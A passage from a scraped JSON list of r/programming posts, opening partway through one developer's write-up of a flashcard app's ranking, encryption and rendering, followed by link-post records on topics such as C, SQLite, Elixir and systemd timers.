locked card is Hard and new position 1 is also Hard, swap position 1 with the first non-Hard card deeper in the deck).\n\nThis runs on every swipe so it needs to be fast. For 1000 cards, the greedy scoring + constraint check takes <2ms on a Pixel 6.\n\n**Problem 3: Encrypting 1500 questions without startup lag**\n\nThe question bank is AES-256-CBC encrypted in the APK (prevents trivial extraction). Decryption of 1.2MB happens on first load. On older devices this took 400ms, which blocked the UI. Moved it to [`Dispatchers.IO`](http://Dispatchers.IO) with a loading skeleton. The key is split across 4 byte arrays in the code to make static analysis harder (not bulletproof, but raises the bar above `strings` on the APK).\n\n**Problem 4: Two-deck mode switching with shared progress**\n\nThe app has DSA and System Design as separate decks. Both share the same Room database for progress (same ProgressEntity table, IDs just have different prefixes). When switching modes, the current deck state is cached in memory so you can come back to where you left off. The tricky bit: daily goal and streak count swipes from both decks combined, but the ranker operates independently per deck.\n\n**Problem 5: Animated sketches synced with code**\n\nEach question can have a multi-step visual (array state changes, graph traversals). Steps are defined as data (JSON with cell states, highlights, pointers) and rendered by a custom Compose canvas. Code lines are highlighted in sync with each step via a `codeLines` map per step. The renderer handles 6 visualization types (array, tree, linked list, matrix, graph, string) with a single composable that dispatches by type.\n\nStack: Kotlin, Jetpack Compose (Material 3), Room, Firebase, custom spaced repetition + ranking engine.\n\nApp: [https://play.google.com/store/apps/details?id=com.pixelcraftlabs.algoscroll](https://play.google.com/store/apps/details?id=com.pixelcraftlabs.algoscroll)\n\nIf anyone's interested in the ranking algorithm details or the sketch rendering system, happy to go deeper.",
  "author": "No-Position-7728",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.76,
  "numComments": 2,
  "createdAt": "2026-06-08T04:33:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://play.google.com/store/apps/details?id=com.pixelcraftlabs.algoscroll",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tzfefn",
  "url": "https://lcamtuf.substack.com/p/getting-silly-with-c-part-and-int1",
  "permalink": "https://www.reddit.com/r/programming/comments/1tzfefn/getting_silly_with_c_part_int83/",
  "title": "Getting silly with C, part &((int*)-8)[3]",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 159,
  "upvoteRatio": 0.89,
  "numComments": 16,
  "createdAt": "2026-06-07T15:38:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lcamtuf.substack.com/p/getting-silly-with-c-part-and-int1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tzeb9a",
  "url": "https://youtu.be/fFocVFEe2TI?si=2NHfdssdQpowrXRV",
  "permalink": "https://www.reddit.com/r/programming/comments/1tzeb9a/javanext_language_features/",
  "title": "#JavaNext Language Features",
  "body": null,
  "author": "joemwangi",
  "subreddit": "programming",
  "score": 92,
  "upvoteRatio": 0.81,
  "numComments": 47,
  "createdAt": "2026-06-07T14:55:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/fFocVFEe2TI?si=2NHfdssdQpowrXRV",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tzaugj",
  "url": "http://ozark.hendrix.edu/~yorgey/forest/00FD/index.xml",
  "permalink": "https://www.reddit.com/r/programming/comments/1tzaugj/to_my_students/",
  "title": "To my students",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 866,
  "upvoteRatio": 0.94,
  "numComments": 240,
  "createdAt": "2026-06-07T12:29:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://ozark.hendrix.edu/~yorgey/forest/00FD/index.xml",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tz9cp7",
  "url": "https://blog.nns.ee/2026/02/20/katana-v2x-re",
  "permalink": "https://www.reddit.com/r/programming/comments/1tz9cp7/reverse_engineering_the_creative_katana_v2x/",
  "title": "Reverse engineering the Creative Katana V2X soundbar to be able to control it from Linux",
  "body": null,
  "author": "throwaway16830261",
  "subreddit": "programming",
  "score": 119,
  "upvoteRatio": 0.94,
  "numComments": 13,
  "createdAt": "2026-06-07T11:13:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.nns.ee/2026/02/20/katana-v2x-re",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tydqbt",
  "url": "https://sumnerevans.com/posts/software-engineering/stop-using-conventional-commits/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tydqbt/stop_using_conventional_commits/",
  "title": "Stop Using Conventional Commits",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 391,
  "upvoteRatio": 0.74,
  "numComments": 192,
  "createdAt": "2026-06-06T10:32:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sumnerevans.com/posts/software-engineering/stop-using-conventional-commits/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tybuv7",
  "url": "https://devblogs.microsoft.com/oldnewthing/20260401-00/?p=112180",
  "permalink": "https://www.reddit.com/r/programming/comments/1tybuv7/the_cover_of_c_the_programming_language_raises/",
  "title": "The cover of C++: The Programming Language raises questions not answered by the cover",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 184,
  "upvoteRatio": 0.92,
  "numComments": 26,
  "createdAt": "2026-06-06T08:41:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/oldnewthing/20260401-00/?p=112180",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tyalr6",
  "url": "https://andersmurphy.com/2026/06/05/the-perils-of-uuid-primary-keys-in-sqlite.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tyalr6/the_perils_of_uuid_primary_keys_in_sqlite/",
  "title": "The perils of UUID primary keys in SQLite",
  "body": null,
  "author": "andersmurphy",
  "subreddit": "programming",
  "score": 418,
  "upvoteRatio": 0.95,
  "numComments": 136,
  "createdAt": "2026-06-06T07:27:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://andersmurphy.com/2026/06/05/the-perils-of-uuid-primary-keys-in-sqlite.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1txlq6l",
  "url": "https://00f.net/2026/04/11/config-flags/",
  "permalink": "https://www.reddit.com/r/programming/comments/1txlq6l/configuration_flags_are_where_software_goes_to_rot/",
  "title": "Configuration flags are where software goes to rot",
  "body": null,
  "author": "Expurple",
  "subreddit": "programming",
  "score": 307,
  "upvoteRatio": 0.78,
  "numComments": 168,
  "createdAt": "2026-06-05T13:57:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://00f.net/2026/04/11/config-flags/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1txhxly",
  "url": "https://www.sophielwang.com/blog/jpeg",
  "permalink": "https://www.reddit.com/r/programming/comments/1txhxly/jpeg_compression_deep_dive/",
  "title": "JPEG compression deep dive",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 94,
  "upvoteRatio": 0.95,
  "numComments": 7,
  "createdAt": "2026-06-05T11:14:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.sophielwang.com/blog/jpeg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1txh6as",
  "url": "https://rushter.com/blog/clickhouse-data-processing/",
  "permalink": "https://www.reddit.com/r/programming/comments/1txh6as/using_local_clickhouse_for_data_processing/",
  "title": "Using local ClickHouse for data processing",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 58,
  "upvoteRatio": 0.9,
  "numComments": 8,
  "createdAt": "2026-06-05T10:36:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rushter.com/blog/clickhouse-data-processing/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1txf7qk",
  "url": "https://blog.tjll.net/you-dont-love-systemd-timers-enough/",
  "permalink": "https://www.reddit.com/r/programming/comments/1txf7qk/you_dont_love_systemd_timers_enough/",
  "title": "You Don't Love systemd Timers Enough",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 253,
  "upvoteRatio": 0.86,
  "numComments": 58,
  "createdAt": "2026-06-05T08:47:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.tjll.net/you-dont-love-systemd-timers-enough/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1txe9b5",
  "url": "https://owen.cafe/posts/stumpalo/",
  "permalink": "https://www.reddit.com/r/programming/comments/1txe9b5/a_faster_bump_allocator_for_rust/",
  "title": "A faster bump allocator for rust",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 141,
  "upvoteRatio": 0.94,
  "numComments": 18,
  "createdAt": "2026-06-05T07:50:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://owen.cafe/posts/stumpalo/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twxhjy",
  "url": "https://balusc.omnifaces.org/2026/06/from-hours-to-minutes-glassfish-pool.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1twxhjy/how_we_reduced_the_time_to_run_tests_from_hours/",
  "title": "How we reduced the time to run tests from hours to just minutes",
  "body": null,
  "author": "henk53",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.27,
  "numComments": 18,
  "createdAt": "2026-06-04T19:13:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://balusc.omnifaces.org/2026/06/from-hours-to-minutes-glassfish-pool.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twww78",
  "url": "https://wasmer.io/posts/ported-wasmer-backend-django-to-rust",
  "permalink": "https://www.reddit.com/r/programming/comments/1twww78/porting_our_django_backend_to_rust_improved_the/",
  "title": "Porting our Django backend to Rust improved the infra usage by 90%",
  "body": null,
  "author": "syrusakbary",
  "subreddit": "programming",
  "score": 40,
  "upvoteRatio": 0.75,
  "numComments": 43,
  "createdAt": "2026-06-04T18:52:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://wasmer.io/posts/ported-wasmer-backend-django-to-rust",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twoqch",
  "url": "https://lewiscampbell.tech/blog/250817.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1twoqch/basic_type_system_terminology/",
  "title": "Basic Type System Terminology",
  "body": null,
  "author": "legoman25",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.32,
  "numComments": 13,
  "createdAt": "2026-06-04T14:07:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lewiscampbell.tech/blog/250817.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twnahx",
  "url": "https://www.iankduncan.com/engineering/2026-05-30-stealing-from-biologists-to-compile-haskell-faster/",
  "permalink": "https://www.reddit.com/r/programming/comments/1twnahx/stealing_from_biologists_to_compile_haskell_faster/",
  "title": "Stealing from Biologists to Compile Haskell Faster",
  "body": null,
  "author": "mooreds",
  "subreddit": "programming",
  "score": 115,
  "upvoteRatio": 0.97,
  "numComments": 5,
  "createdAt": "2026-06-04T13:12:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.iankduncan.com/engineering/2026-05-30-stealing-from-biologists-to-compile-haskell-faster/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twlx1p",
  "url": "https://www.truehenrique.com/en/2021/10/27/single-responsibility-the-distorted-principle/",
  "permalink": "https://www.reddit.com/r/programming/comments/1twlx1p/single_responsibility_the_distorted_principle/",
  "title": "Single responsibility, the distorted principle",
  "body": "Have you ever discussed the Single Responsibility Principle with your coworkers? Take a look at this article, where I explore why this principle might be a problem.\n\nWhat do you think?",
  "author": "Illustrious-Topic-50",
  "subreddit": "programming",
  "score": 267,
  "upvoteRatio": 0.91,
  "numComments": 174,
  "createdAt": "2026-06-04T12:16:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.truehenrique.com/en/2021/10/27/single-responsibility-the-distorted-principle/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twl8ip",
  "url": "https://youtu.be/Xn_YpUtXWT4",
  "permalink": "https://www.reddit.com/r/programming/comments/1twl8ip/scala_was_an_experiment_that_changed_programming/",
  "title": "Scala Was an Experiment That Changed Programming - Martin Odersky | The Marco Show",
  "body": null,
  "author": "makingthematrix",
  "subreddit": "programming",
  "score": 65,
  "upvoteRatio": 0.77,
  "numComments": 113,
  "createdAt": "2026-06-04T11:46:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Xn_YpUtXWT4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twizqa",
  "url": "https://www.infoq.com/articles/schema-proliferation-problem/?forceSponsorshipId=9e025991-2977-45e6-8636-c740236b5bfc",
  "permalink": "https://www.reddit.com/r/programming/comments/1twizqa/the_schema_proliferation_problem_in_kafka_and/",
  "title": "The Schema Proliferation Problem in Kafka and Flink Pipelines: How to Solve It",
  "body": null,
  "author": "nilukush",
  "subreddit": "programming",
  "score": 38,
  "upvoteRatio": 0.89,
  "numComments": 3,
  "createdAt": "2026-06-04T09:53:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.infoq.com/articles/schema-proliferation-problem/?forceSponsorshipId=9e025991-2977-45e6-8636-c740236b5bfc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twhl2t",
  "url": "https://blog.geekuni.com/2026/06/why-learn-pandas.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1twhl2t/pandas_as_a_reason_to_learn_python_even_if_youre/",
  "title": "Pandas as a reason to learn Python, even if you’re not doing data science",
  "body": "I wrote a short article about why Pandas is worth learning from a general programming perspective, not just a data science one.\n\nA lot of everyday programming work involves tabular data - CSV files, reports, logs, exports, billing data, sales data, inventory data, operational spreadsheets, analytics extracts, etc.\n\nYou can process that kind of data with loops and dictionaries, SQL, shell tools, or spreadsheets. But Pandas gives Python a very compact and expressive way to do filtering, grouping, aggregation, joins, and reshaping in code.\n\nThe article uses a small sales/purchases CSV example and compares the Pandas approach with plain Python and spreadsheet-style thinking.\n\nI’m curious how other programmers think about this: is Pandas one of the libraries that makes Python worth learning, even for people whose main work is not data science? Or would you usually reach for SQL, spreadsheets, shell tools, or something else?",
  "author": "Horror-Willingness74",
  "subreddit": "programming",
  "score": 229,
  "upvoteRatio": 0.77,
  "numComments": 102,
  "createdAt": "2026-06-04T08:33:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.geekuni.com/2026/06/why-learn-pandas.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twglxs",
  "url": "https://leetarxiv.substack.com/p/lll-applied-to-extended-gcd-hermite",
  "permalink": "https://www.reddit.com/r/programming/comments/1twglxs/finding_hermite_normal_form_and_solving_linear/",
  "title": "Finding Hermite Normal Form and Solving Linear Diophantines Using LLL",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.78,
  "numComments": 1,
  "createdAt": "2026-06-04T07:36:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/lll-applied-to-extended-gcd-hermite",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1twg7mu",
  "url": "https://elixir-lang.org/blog/2026/06/03/elixir-v1-20-0-released/",
  "permalink": "https://www.reddit.com/r/programming/comments/1twg7mu/elixir_v120_released_now_a_gradually_typed/",
  "title": "Elixir v1.20 released: now a gradually typed language",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 543,
  "upvoteRatio": 0.96,
  "numComments": 142,
  "createdAt": "2026-06-04T07:14:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://elixir-lang.org/blog/2026/06/03/elixir-v1-20-0-released/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tw9pl9",
  "url": "https://rovarma.com/articles/a-tale-about-fixing-ebpf-spinlock-issues-in-the-linux-kernel/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tw9pl9/a_tale_about_fixing_ebpf_spinlock_issues_in_the/",
  "title": "A tale about fixing eBPF spinlock issues in the Linux kernel",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 138,
  "upvoteRatio": 0.96,
  "numComments": 23,
  "createdAt": "2026-06-04T01:51:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rovarma.com/articles/a-tale-about-fixing-ebpf-spinlock-issues-in-the-linux-kernel/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvsz1n",
  "url": "https://jola.dev/posts/generating-og-images",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvsz1n/generating_og_images_in_elixir/",
  "title": "Generating OG images in Elixir",
  "body": null,
  "author": "joladev",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.65,
  "numComments": 2,
  "createdAt": "2026-06-03T15:34:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jola.dev/posts/generating-og-images",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvrvv4",
  "url": "https://fzakaria.com/2026/06/01/every-byte-matters",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvrvv4/every_byte_matters/",
  "title": "Every byte matters",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 288,
  "upvoteRatio": 0.93,
  "numComments": 85,
  "createdAt": "2026-06-03T14:57:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fzakaria.com/2026/06/01/every-byte-matters",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvrg4k",
  "url": "https://www.youtube.com/watch?v=Eysf6-E3ino",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvrg4k/sebastian_lague_i_tried_optimizing_my_rubiks_cube/",
  "title": "[Sebastian Lague] - I Tried Optimizing my Rubik's Cube Solver",
  "body": null,
  "author": "Pink401k",
  "subreddit": "programming",
  "score": 36,
  "upvoteRatio": 0.86,
  "numComments": 3,
  "createdAt": "2026-06-03T14:42:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=Eysf6-E3ino",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvo6ij",
  "url": "https://youtu.be/pHZF-zJ3Bpg?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvo6ij/how_fast_can_you_parse_1_billion_rows_in_java/",
  "title": "How Fast Can You Parse 1 Billion Rows in Java? – Insane Speed Test • Roy van Rijn",
  "body": "Join me in this deep dive where I'll explain all the code changes and tricks that took me from the reference implementation which processes the billion records in 4+ minutes, to processing everything in under 2 seconds.\n\nWho knew Java could be this fast?",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 183,
  "upvoteRatio": 0.85,
  "numComments": 51,
  "createdAt": "2026-06-03T12:42:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/pHZF-zJ3Bpg?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvnhbz",
  "url": "https://rushter.com/blog/clickhouse-nulls/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvnhbz/nulls_in_clickhouse_can_hurt_performance/",
  "title": "NULLs in ClickHouse can hurt performance",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 40,
  "upvoteRatio": 0.82,
  "numComments": 2,
  "createdAt": "2026-06-03T12:12:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rushter.com/blog/clickhouse-nulls/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvncnr",
  "url": "https://swytchbv.substack.com/p/light-cone-consistency-ill-take-one",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvncnr/light_cone_consistency_ill_take_one_scoop_of_each/",
  "title": "Light Cone Consistency: I'll Take One Scoop Of Each",
  "body": null,
  "author": "ReasonableLoss6814",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.72,
  "numComments": 1,
  "createdAt": "2026-06-03T12:07:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://swytchbv.substack.com/p/light-cone-consistency-ill-take-one",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvmk4y",
  "url": "https://m.youtube.com/watch?v=cIbCxbrBCys",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvmk4y/how_rockstar_fit_an_entire_city_into_playstation/",
  "title": "How Rockstar fit an entire city into PlayStation 2 memory",
  "body": null,
  "author": "r_retrohacking_mod2",
  "subreddit": "programming",
  "score": 76,
  "upvoteRatio": 0.85,
  "numComments": 8,
  "createdAt": "2026-06-03T11:31:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://m.youtube.com/watch?v=cIbCxbrBCys",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvjpxy",
  "url": "https://www.chiply.dev/post-incremental-suggesting-read",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvjpxy/beyond_icr_incremental_suggesting_read_in_emacs/",
  "title": "Beyond ICR: Incremental 'Suggesting' Read in Emacs",
  "body": "\"This is the sixth post in my series on Emacs completion.... This one coins a term for a special case, Incremental Suggesting Read (ISR), where the candidate set produced by incrementally typed input is a suggestion, rather than a literal completion of that input. The ability to generate inferred matches in addition to literal matches vastly expands the scope of what a 'completion' system can do. Two conceptual sources supply the suggestions: 1) semantic retrieval and 2) generative synthesis.\n\nThis post is more speculative than useful, so carry that pinch of salt with you as you watch the video or read this post.\"",
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.67,
  "numComments": 1,
  "createdAt": "2026-06-03T09:04:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-incremental-suggesting-read",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvipbl",
  "url": "https://youtu.be/tzPH46urBBM",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvipbl/björn_fahller_i_talk_too_much/",
  "title": "Björn Fahller: I talk too much",
  "body": null,
  "author": "_a4z",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.3,
  "numComments": 0,
  "createdAt": "2026-06-03T08:05:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/tzPH46urBBM",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tvftne",
  "url": "https://blog.ammaraskar.com/github-token-stealing/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tvftne/1click_github_token_stealing_via_a_vscode_bug/",
  "title": "1-Click GitHub Token Stealing via a VSCode Bug",
  "body": null,
  "author": "nicovank13",
  "subreddit": "programming",
  "score": 511,
  "upvoteRatio": 0.98,
  "numComments": 36,
  "createdAt": "2026-06-03T05:26:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.ammaraskar.com/github-token-stealing/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tuzzjl",
  "url": "https://forums.swift.org/t/recent-improvements-to-the-type-checker/87048",
  "permalink": "https://www.reddit.com/r/programming/comments/1tuzzjl/disjunction_pruning_and_other_recent_improvements/",
  "title": "Disjunction pruning and other recent improvements to the Swift compiler's type checker",
  "body": null,
  "author": "someone-very-cool",
  "subreddit": "programming",
  "score": 30,
  "upvoteRatio": 0.82,
  "numComments": 0,
  "createdAt": "2026-06-02T18:37:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://forums.swift.org/t/recent-improvements-to-the-type-checker/87048",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tuxunf",
  "url": "https://yogthos.net/posts/2026-06-02-wavescope.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tuxunf/using_wavelets_and_entropy_coding_to_analyze_code/",
  "title": "Using wavelets and entropy coding to analyze code structure",
  "body": null,
  "author": "yogthos",
  "subreddit": "programming",
  "score": 100,
  "upvoteRatio": 0.95,
  "numComments": 18,
  "createdAt": "2026-06-02T17:26:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
